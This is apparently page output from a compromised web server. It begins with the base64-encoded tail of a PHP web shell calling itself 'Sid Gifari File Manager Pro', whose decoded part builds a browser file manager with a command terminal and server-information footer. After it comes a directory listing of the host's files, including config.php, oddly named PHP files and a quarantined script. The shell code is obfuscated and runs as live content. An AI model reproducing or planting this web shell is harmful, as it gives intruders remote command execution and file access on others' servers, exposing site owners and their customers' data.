AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChlbXB0eSgkZm9sZGVycykgJiYgZW1wdHkoJGZpbGVzKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iNSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgcGFkZGluZzogMzBweDsgY29sb3I6ICM4Yjk0OWU7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk60gVGhpcyBkaXJlY3RvcnkgaXMgZW1wdHkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIj4KICAgICAgICAgICAgPHN0cm9uZz5TaWQgR2lmYXJpIEZpbGUgTWFuYWdlciBQcm8gdjguMC41PC9zdHJvbmc+IHwgCiAgICAgICAgICAgIEN1cnJlbnQgUGF0aDogPD89IGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfZGlyKSA/PiB8IAogICAgICAgICAgICBTZXNzaW9uIERpcjogPD89IGh0bWxzcGVjaWFsY2hhcnMoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddID8/ICdub3Qgc2V0JykgPz4gfCAKICAgICAgICAgICAgUEhQIDw/PSBwaHB2ZXJzaW9uKCkgPz4gfCAKICAgICAgICAgICAgU2VydmVyOiA8Pz0gaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gPz8gJ1Vua25vd24nKSA/PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPHNjcmlwdD4KICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsKICAgICAgICBjb25zdCB0ZXJtaW5hbElucHV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rlcm1pbmFsSW5wdXQnKTsKICAgICAgICBjb25zdCB0ZXJtaW5hbEhpc3RvcnkgPSA8Pz0ganNvbl9lbmNvZGUoYXJyYXlfcmV2ZXJzZShhcnJheV91bmlxdWUoJHRlcm1pbmFsX2hpc3RvcnkpKSkgPz47CiAgICAgICAgbGV0IGhpc3RvcnlJbmRleCA9IC0xOwogICAgICAgIAogICAgICAgIGlmICh0ZXJtaW5hbElucHV0KSB7CiAgICAgICAgICAgIHRlcm1pbmFsSW5wdXQuZm9jdXMoKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHRlcm1pbmFsSW5wdXQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgIGlmIChlLmtleSA9PT0gJ0Fycm93VXAnKSB7CiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5SW5kZXggPCB0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoIC0gMSkgewogICAgICAgICAgICAgICAgICAgICAgICBoaXN0b3J5SW5kZXgrKzsKICAgICAgICAgICAgICAgICAgICAgICAgdGhpcy52YWx1ZSA9IHRlcm1pbmFsSGlzdG9yeVtoaXN0b3J5SW5kZXhdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZS5rZXkgPT09ICdBcnJvd0Rvd24nKSB7CiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5SW5kZXggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlJbmRleC0tOwogICAgICAgICAgICAgICAgICAgICAgICB0aGlzLnZhbHVlID0gdGVybWluYWxIaXN0b3J5W2hpc3RvcnlJbmRleF07CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaGlzdG9yeUluZGV4ID0gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgIHRoaXMudmFsdWUgPSAnJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGUua2V5ID09PSAnbCcgJiYgZS5jdHJsS2V5KSB7CiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgIHRoaXMudmFsdWUgPSAnY2xlYXInOwogICAgICAgICAgICAgICAgICAgIHRoaXMuZm9ybS5zdWJtaXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGNvbnN0IHRleHRhcmVhID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigndGV4dGFyZWEnKTsKICAgICAgICBpZiAodGV4dGFyZWEpIHsKICAgICAgICAgICAgY29uc3QgYWRqdXN0SGVpZ2h0ID0gZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmhlaWdodCA9ICdhdXRvJzsKICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gKHRoaXMuc2Nyb2xsSGVpZ2h0KSArICdweCc7CiAgICAgICAgICAgIH07CiAgICAgICAgICAgIHRleHRhcmVhLmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgYWRqdXN0SGVpZ2h0KTsKICAgICAgICAgICAgYWRqdXN0SGVpZ2h0LmNhbGwodGV4dGFyZWEpOwogICAgICAgICAgICAKICAgICAgICAgICAgdGV4dGFyZWEuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgIGlmIChlLmtleSA9PT0gJ1RhYicpIHsKICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgY29uc3Qgc3RhcnQgPSB0aGlzLnNlbGVjdGlvblN0YXJ0OwogICAgICAgICAgICAgICAgICAgIGNvbnN0IGVuZCA9IHRoaXMuc2VsZWN0aW9uRW5kOwogICAgICAgICAgICAgICAgICAgIHRoaXMudmFsdWUgPSB0aGlzLnZhbHVlLnN1YnN0cmluZygwLCBzdGFydCkgKyAnICAgICcgKyB0aGlzLnZhbHVlLnN1YnN0cmluZyhlbmQpOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc2VsZWN0aW9uU3RhcnQgPSB0aGlzLnNlbGVjdGlvbkVuZCA9IHN0YXJ0ICsgNDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIEFkZCBrZXlib2FyZCBzaG9ydGN1dDogQ3RybCtEIHRvIGdvIHRvIHJvb3QgZGlyZWN0b3J5CiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgaWYgKGUua2V5ID09PSAnZCcgJiYgZS5jdHJsS2V5ICYmICFlLnRhcmdldC5jbG9zZXN0KCdpbnB1dCwgdGV4dGFyZWEnKSkgewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJFJPT1QpKSA/Pic7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==")); ?> </html>
[+]
..
[+]
ediwarehousebot
[+]
2
[-] style.css
[edit]
[-] config.php
[edit]
[-] test1.php
[edit]
[-] t1.php
[edit]
[-] header.php
[edit]
[-] ml.php-an theloume na to steiloyme mono toy
[edit]
[+]
vendor
[-] headerpending.php
[edit]
[-] error_log
[edit]
[-] pending.php
[edit]
[-] delivered.php
[edit]
[-] 2.php
[edit]
[-] script.js
[edit]
[-] headerdelivered.php
[edit]
[-] 3.php
[edit]
[+]
old
[+]
cgi-bin
[+]
.well-known
[+]
E3
[+]
drage
[+]
f7
[+]
eviball
[+]
capetown
[+]
eurostock
[+]
2fast
[+]
biq
[+]
cite
[+]
ilark
[+]
pride
[+]
dragb
[+]
itank
[-] sql_command_import_capetown.php
[edit]
[+]
itango
[+]
sales_rd
[+]
rd
[+]
one
[-] jSignature-master.zip
[edit]
[+]
jsi
[+]
nce
[-] sales_rd.zip
[edit]
[+]
RrVFn0it5f
[-] wap.php
[edit]
[-] index.php
[edit]
[-] products.php
[edit]
[-] detail.php
[edit]
[-] .htaccess.disabled
[edit]
[-] 1.php.quarantine
[edit]